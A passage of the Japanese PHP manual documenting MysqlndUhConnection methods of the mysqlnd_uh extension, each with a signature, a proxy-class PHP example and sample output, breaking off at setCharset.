(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection

説明

public MysqlndUhConnection::getThreadId ( mysqlnd_connection $connection ) : int

Returns the thread ID for the current connection.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Connection thread id.

例

例1 MysqlndUhConnection::getThreadId() example

<?php
class proxy extends MysqlndUhConnection {
 public function getThreadId($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getThreadId($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->thread_id);
?>

上の例の出力は以下となります。

proxy::getThreadId(array (
  0 => NULL,
))
proxy::getThreadId returns 27646
int(27646)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_thread_id() - 現在の接続のスレッド ID を返す
  • mysql_thread_id() - カレントのスレッド ID を返す

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of warnings from the last query for the given link

  • ≪ MysqlndUhConnection::getThreadId
  • MysqlndUhConnection::init ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the number of warnings from the last query for the given link

MysqlndUhConnection::getWarningCount

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link

説明

public MysqlndUhConnection::getWarningCount ( mysqlnd_connection $connection ) : int

Returns the number of warnings from the last query for the given link.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Number of warnings.

例

例1 MysqlndUhConnection::getWarningCount() example

<?php
class proxy extends MysqlndUhConnection {
 public function getWarningCount($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::getWarningCount($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump($mysqli->warning_count);
?>

上の例の出力は以下となります。

proxy::getWarningCount(array (
  0 => NULL,
))
proxy::getWarningCount returns 0
int(0)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_warning_count() - 指定した接続の直近のクエリから発生した警告の数を返す

User Contributed Notes

There are no user contributed notes for this page.


Initialize mysqlnd connection

  • ≪ MysqlndUhConnection::getWarningCount
  • MysqlndUhConnection::killConnection ≫
  • PHP Manual
  • MysqlndUhConnection
  • Initialize mysqlnd connection

MysqlndUhConnection::init

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::init — Initialize mysqlnd connection

説明

public MysqlndUhConnection::init ( mysqlnd_connection $connection ) : bool

Initialize mysqlnd connection. This is an mysqlnd internal call to initialize the connection object.

注意:

Failing to call the parent implementation may cause memory leaks or crash PHP. This is not considered a bug. Please, keep in mind that the mysqlnd library functions have never been designed to be exposed to the user space.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::init() example

<?php
class proxy extends MysqlndUhConnection {
 public function init($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::init($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

上の例の出力は以下となります。

proxy::init(array (
  0 => NULL,
))
proxy::init returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Asks the server to kill a MySQL thread

  • ≪ MysqlndUhConnection::init
  • MysqlndUhConnection::listFields ≫
  • PHP Manual
  • MysqlndUhConnection
  • Asks the server to kill a MySQL thread

MysqlndUhConnection::killConnection

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread

説明

public MysqlndUhConnection::killConnection ( mysqlnd_connection $connection , int $pid ) : bool

Asks the server to kill a MySQL thread.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

pid

Thread Id of the connection to be killed.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::kill() example

<?php
class proxy extends MysqlndUhConnection {
 public function killConnection($res, $pid) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::killConnection($res, $pid);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->kill($mysqli->thread_id);
?>

上の例の出力は以下となります。

proxy::killConnection(array (
  0 => NULL,
  1 => 27650,
))
proxy::killConnection returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_kill() - サーバーに MySQL スレッドの停止を問い合わせる

User Contributed Notes

There are no user contributed notes for this page.


List MySQL table fields

  • ≪ MysqlndUhConnection::killConnection
  • MysqlndUhConnection::listMethod ≫
  • PHP Manual
  • MysqlndUhConnection
  • List MySQL table fields

MysqlndUhConnection::listFields

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::listFields — List MySQL table fields

説明

public MysqlndUhConnection::listFields ( mysqlnd_connection $connection , string $table , string $achtung_wild ) : array

List MySQL table fields.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

connection

Mysqlnd connection handle. Do not modify!

table

The name of the table that's being queried.

pattern

Name pattern.

返り値

例

例1 MysqlndUhConnection::listFields() example

<?php
class proxy extends MysqlndUhConnection {
 public function listFields($res, $table, $pattern) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::listFields($res, $table, $pattern);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysql = mysql_connect("localhost", "root", "");
mysql_select_db("test", $mysql);
mysql_query("DROP TABLE IF EXISTS test_a", $mysql);
mysql_query("CREATE TABLE test_a(id INT, col1 VARCHAR(255))", $mysql);
$res = mysql_list_fields("test", "test_a", $mysql);
printf("num_rows = %d\n", mysql_num_rows($res));
while ($row = mysql_fetch_assoc($res))
 var_dump($row);
?>

上の例の出力は以下となります。

proxy::listFields(array (
  0 => NULL,
  1 => 'test_a',
  2 => '',
))
proxy::listFields returns NULL
num_rows = 0

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysql_list_fields() - MySQL テーブルのフィールドのリストを得る

User Contributed Notes

There are no user contributed notes for this page.


Wrapper for assorted list commands

  • ≪ MysqlndUhConnection::listFields
  • MysqlndUhConnection::moreResults ≫
  • PHP Manual
  • MysqlndUhConnection
  • Wrapper for assorted list commands

MysqlndUhConnection::listMethod

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::listMethod — Wrapper for assorted list commands

説明

public MysqlndUhConnection::listMethod ( mysqlnd_connection $connection , string $query , string $achtung_wild , string $par1 ) : void

Wrapper for assorted list commands.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

connection

Mysqlnd connection handle. Do not modify!

query

SHOW command to be executed.

achtung_wild

par1

返り値

返り値

TODO

例

例1 MysqlndUhConnection::listMethod() example

<?php
class proxy extends MysqlndUhConnection {
 public function listMethod($res, $query, $pattern, $par1) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::listMethod($res, $query, $pattern, $par1);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysql = mysql_connect("localhost", "root", "");
$res = mysql_list_dbs($mysql);
printf("num_rows = %d\n", mysql_num_rows($res));
while ($row = mysql_fetch_assoc($res))
 var_dump($row);
?>

上の例の出力は以下となります。

proxy::listMethod(array (
  0 => NULL,
  1 => 'SHOW DATABASES',
  2 => '',
  3 => '',
))
proxy::listMethod returns NULL
num_rows = 6
array(1) {
  ["Database"]=>
  string(18) "information_schema"
}
array(1) {
  ["Database"]=>
  string(5) "mysql"
}
array(1) {
  ["Database"]=>
  string(8) "oxid_new"
}
array(1) {
  ["Database"]=>
  string(7) "phptest"
}
array(1) {
  ["Database"]=>
  string(7) "pushphp"
}
array(1) {
  ["Database"]=>
  string(4) "test"
}

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysql_list_dbs() - MySQL サーバー上で利用可能なデータベースのリストを得る

User Contributed Notes

There are no user contributed notes for this page.


Check if there are any more query results from a multi query

  • ≪ MysqlndUhConnection::listMethod
  • MysqlndUhConnection::nextResult ≫
  • PHP Manual
  • MysqlndUhConnection
  • Check if there are any more query results from a multi query

MysqlndUhConnection::moreResults

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query

説明

public MysqlndUhConnection::moreResults ( mysqlnd_connection $connection ) : bool

Check if there are any more query results from a multi query.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::moreResults() example

<?php
class proxy extends MysqlndUhConnection {
 public function moreResults($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::moreResults($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1 AS _one; SELECT 2 AS _two");
do {
  $res = $mysqli->store_result();
  var_dump($res->fetch_assoc());
  printf("%s\n", str_repeat("-", 40));
} while ($mysqli->more_results() && $mysqli->next_result());
?>

上の例の出力は以下となります。

array(1) {
  ["_one"]=>
  string(1) "1"
}
----------------------------------------
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns true
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns true
array(1) {
  ["_two"]=>
  string(1) "2"
}
----------------------------------------
proxy::moreResults(array (
  0 => NULL,
))
proxy::moreResults returns false

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_more_results() - マルチクエリからの結果がまだ残っているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


Prepare next result from multi_query

  • ≪ MysqlndUhConnection::moreResults
  • MysqlndUhConnection::ping ≫
  • PHP Manual
  • MysqlndUhConnection
  • Prepare next result from multi_query

MysqlndUhConnection::nextResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::nextResult — Prepare next result from multi_query

説明

public MysqlndUhConnection::nextResult ( mysqlnd_connection $connection ) : bool

Prepare next result from multi_query.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::nextResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function nextResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::nextResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->multi_query("SELECT 1 AS _one; SELECT 2 AS _two");
do {
  $res = $mysqli->store_result();
  var_dump($res->fetch_assoc());
  printf("%s\n", str_repeat("-", 40));
} while ($mysqli->more_results() && $mysqli->next_result());
?>

上の例の出力は以下となります。

array(1) {
  ["_one"]=>
  string(1) "1"
}
----------------------------------------
proxy::nextResult(array (
  0 => NULL,
))
proxy::nextResult returns true
array(1) {
  ["_two"]=>
  string(1) "2"
}
----------------------------------------

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_next_result() - multi_query の、次の結果を準備する

User Contributed Notes

There are no user contributed notes for this page.


Pings a server connection, or tries to reconnect if the connection has gone down

  • ≪ MysqlndUhConnection::nextResult
  • MysqlndUhConnection::query ≫
  • PHP Manual
  • MysqlndUhConnection
  • Pings a server connection, or tries to reconnect if the connection has gone down

MysqlndUhConnection::ping

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down

説明

public MysqlndUhConnection::ping ( mysqlnd_connection $connection ) : bool

Pings a server connection, or tries to reconnect if the connection has gone down.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::ping() example

<?php
class proxy extends MysqlndUhConnection {
 public function ping($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::ping($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ping();
?>

上の例の出力は以下となります。

proxy::ping(array (
  0 => NULL,
))
proxy::ping returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_ping() - サーバーとの接続をチェックし、もし切断されている場合は再接続を試みる
  • mysql_ping() - サーバーとの接続状況を調べ、接続されていない場合は再接続する

User Contributed Notes

There are no user contributed notes for this page.


Performs a query on the database

  • ≪ MysqlndUhConnection::ping
  • MysqlndUhConnection::queryReadResultsetHeader ≫
  • PHP Manual
  • MysqlndUhConnection
  • Performs a query on the database

MysqlndUhConnection::query

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::query — Performs a query on the database

説明

public MysqlndUhConnection::query ( mysqlnd_connection $connection , string $query ) : bool

Performs a query on the database (COM_QUERY).

パラメータ

connection

Mysqlnd connection handle. Do not modify!

query

The query string.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::query() example

<?php
class proxy extends MysqlndUhConnection {
 public function query($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $query = "SELECT 'How about query rewriting?'";
  $ret = parent::query($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$res = $mysqli->query("SELECT 'Welcome mysqlnd_uh!' FROM DUAL");
var_dump($res->fetch_assoc());
?>

上の例の出力は以下となります。

proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Welcome mysqlnd_uh!\' FROM DUAL',
))
proxy::query returns true
array(1) {
  ["How about query rewriting?"]=>
  string(26) "How about query rewriting?"
}

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_query() - データベース上でクエリを実行する
  • mysql_query() - MySQL クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


Read a result set header

  • ≪ MysqlndUhConnection::query
  • MysqlndUhConnection::reapQuery ≫
  • PHP Manual
  • MysqlndUhConnection
  • Read a result set header

MysqlndUhConnection::queryReadResultsetHeader

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::queryReadResultsetHeader — Read a result set header

説明

public MysqlndUhConnection::queryReadResultsetHeader ( mysqlnd_connection $connection , mysqlnd_statement $mysqlnd_stmt ) : bool

Read a result set header.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

mysqlnd_stmt

Mysqlnd statement handle. Do not modify! Set to null, if function is not used in the context of a prepared statement.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::queryReadResultsetHeader() example

<?php
class proxy extends MysqlndUhConnection {
 public function queryReadResultsetHeader($res, $stmt) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::queryReadResultsetHeader($res, $stmt);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$res = $mysqli->query("SELECT 'Welcome mysqlnd_uh!' FROM DUAL");
var_dump($res->fetch_assoc());
?>

上の例の出力は以下となります。

proxy::queryReadResultsetHeader(array (
  0 => NULL,
  1 => NULL,
))
proxy::queryReadResultsetHeader returns true
array(1) {
  ["Welcome mysqlnd_uh!"]=>
  string(19) "Welcome mysqlnd_uh!"
}

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Get result from async query

  • ≪ MysqlndUhConnection::queryReadResultsetHeader
  • MysqlndUhConnection::refreshServer ≫
  • PHP Manual
  • MysqlndUhConnection
  • Get result from async query

MysqlndUhConnection::reapQuery

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::reapQuery — Get result from async query

説明

public MysqlndUhConnection::reapQuery ( mysqlnd_connection $connection ) : bool

Get result from async query.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::reapQuery() example

<?php
class proxy extends MysqlndUhConnection {
 public function reapQuery($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::reapQuery($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$conn1 = new mysqli("localhost", "root", "", "test");
$conn2 = new mysqli("localhost", "root", "", "test");

$conn1->query("SELECT 1 as 'one', SLEEP(1) AS _sleep FROM DUAL", MYSQLI_ASYNC |  MYSQLI_USE_RESULT);
$conn2->query("SELECT 1.1 as 'one dot one' FROM DUAL", MYSQLI_ASYNC |  MYSQLI_USE_RESULT);

$links = array(
 $conn1->thread_id => array('link' => $conn1, 'processed' => false),
 $conn2->thread_id => array('link' => $conn2, 'processed' => false)
);

$saved_errors = array();
do {
 $poll_links = $poll_errors = $poll_reject = array();
 foreach ($links as $thread_id => $link) {
  if (!$link['processed']) {
   $poll_links[] = $link['link'];
   $poll_errors[] = $link['link'];
   $poll_reject[] = $link['link'];
  }
 }
 if (0 == count($poll_links))
  break;

 if (0 == ($num_ready = mysqli_poll($poll_links, $poll_errors, $poll_reject, 0, 200000)))
  continue;

 if (!empty($poll_errors)) {
  die(var_dump($poll_errors));
 }

 foreach ($poll_links as $link) {
  $thread_id = mysqli_thread_id($link);
  $links[$thread_id]['processed'] = true;

  if (is_object($res = mysqli_reap_async_query($link))) {
   // result set object
   while ($row = mysqli_fetch_assoc($res)) {
    // eat up all results
    var_dump($row);
   }
   mysqli_free_result($res);
  } else {
   // either there is no result (no SELECT) or there is an error
   if (mysqli_errno($link) > 0) {
    $saved_errors[$thread_id] = mysqli_errno($link);
    printf("'%s' caused %d\n", $links[$thread_id]['query'],     mysqli_errno($link));
   }
  }
 }
} while (true);
?>

上の例の出力は以下となります。

proxy::reapQuery(array (
  0 => NULL,
))
proxy::reapQuery returns true
array(1) {
  ["one dot one"]=>
  string(3) "1.1"
}
proxy::reapQuery(array (
  0 => NULL,
))
proxy::reapQuery returns true
array(2) {
  ["one"]=>
  string(1) "1"
  ["_sleep"]=>
  string(1) "0"
}

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_async_query()

User Contributed Notes

There are no user contributed notes for this page.


Flush or reset tables and caches

  • ≪ MysqlndUhConnection::reapQuery
  • MysqlndUhConnection::restartPSession ≫
  • PHP Manual
  • MysqlndUhConnection
  • Flush or reset tables and caches

MysqlndUhConnection::refreshServer

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::refreshServer — Flush or reset tables and caches

説明

public MysqlndUhConnection::refreshServer ( mysqlnd_connection $connection , int $options ) : bool

Flush or reset tables and caches.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

connection

Mysqlnd connection handle. Do not modify!

options

What to refresh.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::refreshServer() example

<?php
class proxy extends MysqlndUhConnection {
 public function refreshServer($res, $option) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::refreshServer($res, $option);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
mysqli_refresh($mysqli, 1);
?>

上の例の出力は以下となります。

proxy::refreshServer(array (
  0 => NULL,
  1 => 1,
))
proxy::refreshServer returns false

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Restart a persistent mysqlnd connection

  • ≪ MysqlndUhConnection::refreshServer
  • MysqlndUhConnection::selectDb ≫
  • PHP Manual
  • MysqlndUhConnection
  • Restart a persistent mysqlnd connection

MysqlndUhConnection::restartPSession

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection

説明

public MysqlndUhConnection::restartPSession ( mysqlnd_connection $connection ) : bool

Restart a persistent mysqlnd connection.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::restartPSession() example

<?php
class proxy extends MysqlndUhConnection {
 public function ping($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::ping($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->ping();
?>

上の例の出力は以下となります。

proxy::restartPSession(array (
  0 => NULL,
))
proxy::restartPSession returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Selects the default database for database queries

  • ≪ MysqlndUhConnection::restartPSession
  • MysqlndUhConnection::sendClose ≫
  • PHP Manual
  • MysqlndUhConnection
  • Selects the default database for database queries

MysqlndUhConnection::selectDb

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::selectDb — Selects the default database for database queries

説明

public MysqlndUhConnection::selectDb ( mysqlnd_connection $connection , string $database ) : bool

Selects the default database for database queries.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

database

The database name.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::selectDb() example

<?php
class proxy extends MysqlndUhConnection {
 public function selectDb($res, $database) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::selectDb($res, $database);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->select_db("mysql");
?>

上の例の出力は以下となります。

proxy::selectDb(array (
  0 => NULL,
  1 => 'mysql',
))
proxy::selectDb returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_select_db() - クエリを実行するためのデフォルトのデータベースを選択する
  • mysql_select_db() - MySQL データベースを選択する

User Contributed Notes

There are no user contributed notes for this page.


Sends a close command to MySQL

  • ≪ MysqlndUhConnection::selectDb
  • MysqlndUhConnection::sendQuery ≫
  • PHP Manual
  • MysqlndUhConnection
  • Sends a close command to MySQL

MysqlndUhConnection::sendClose

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sendClose — Sends a close command to MySQL

説明

public MysqlndUhConnection::sendClose ( mysqlnd_connection $connection ) : bool

Sends a close command to MySQL.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::sendClose() example

<?php
class proxy extends MysqlndUhConnection {
 public function sendClose($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sendClose($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->close();
?>

上の例の出力は以下となります。

proxy::sendClose(array (
  0 => NULL,
))
proxy::sendClose returns true
proxy::sendClose(array (
  0 => NULL,
))
proxy::sendClose returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Sends a query to MySQL

  • ≪ MysqlndUhConnection::sendClose
  • MysqlndUhConnection::serverDumpDebugInformation ≫
  • PHP Manual
  • MysqlndUhConnection
  • Sends a query to MySQL

MysqlndUhConnection::sendQuery

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::sendQuery — Sends a query to MySQL

説明

public MysqlndUhConnection::sendQuery ( mysqlnd_connection $connection , string $query ) : bool

Sends a query to MySQL.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

query

The query string.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::sendQuery() example

<?php
class proxy extends MysqlndUhConnection {
 public function sendQuery($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::sendQuery($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 1");
?>

上の例の出力は以下となります。

proxy::sendQuery(array (
  0 => NULL,
  1 => 'SELECT 1',
))
proxy::sendQuery returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Dump debugging information into the log for the MySQL server

  • ≪ MysqlndUhConnection::sendQuery
  • MysqlndUhConnection::setAutocommit ≫
  • PHP Manual
  • MysqlndUhConnection
  • Dump debugging information into the log for the MySQL server

MysqlndUhConnection::serverDumpDebugInformation

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server

説明

public MysqlndUhConnection::serverDumpDebugInformation ( mysqlnd_connection $connection ) : bool

Dump debugging information into the log for the MySQL server.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::serverDumpDebugInformation() example

<?php
class proxy extends MysqlndUhConnection {
 public function serverDumpDebugInformation($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::serverDumpDebugInformation($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->dump_debug_info();
?>

上の例の出力は以下となります。

proxy::serverDumpDebugInformation(array (
  0 => NULL,
))
proxy::serverDumpDebugInformation returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_dump_debug_info() - デバッグ情報をログに出力する

User Contributed Notes

There are no user contributed notes for this page.


Turns on or off auto-committing database modifications

  • ≪ MysqlndUhConnection::serverDumpDebugInformation
  • MysqlndUhConnection::setCharset ≫
  • PHP Manual
  • MysqlndUhConnection
  • Turns on or off auto-committing database modifications

MysqlndUhConnection::setAutocommit

(PECL mysqlnd-uh >= 1.0.1-alpha)

MysqlndUhConnection::setAutocommit — Turns on or off auto-committing database modifications

説明

public MysqlndUhConnection::setAutocommit ( mysqlnd_connection $connection , int $mode ) : bool

Turns on or off auto-committing database modifications

パラメータ

connection

Mysqlnd connection handle. Do not modify!

mode

Whether to turn on auto-commit or not.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::setAutocommit() example

<?php
class proxy extends MysqlndUhConnection {
 public function setAutocommit($res, $mode) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::setAutocommit($res, $mode);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->autocommit(false);
$mysqli->autocommit(true);
?>

上の例の出力は以下となります。

proxy::setAutocommit(array (
  0 => NULL,
  1 => 0,
))
proxy::setAutocommit returns true
proxy::setAutocommit(array (
  0 => NULL,
  1 => 1,
))
proxy::setAutocommit returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_autocommit() - データベース更新の自動コミットをオンまたはオフにする

User Contributed Notes

There are no user contributed notes for this page.


Sets the default client character set

  • ≪ MysqlndUhConnection::setAutocommit
  • MysqlndUhConnection::setClientOption ≫
  • PHP Manual
  • MysqlndUhConnection
  • Sets the default client character set

MysqlndUhConnection::setCharset

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::setCharset — Sets the default client character set

説明

public MysqlndUhConnection::setCharset ( mysqlnd_connection $connection , string $charset ) : bool

Sets the default client character set.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

charset

The charset to be set as default.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::setCharset() example

<?php
class proxy extends MysqlndUhConnection {
 public function setCharset($res, $charset) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::setCharset($res, $charset);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->set_charset("latin1");
?>

上の例の出力は以下となります。

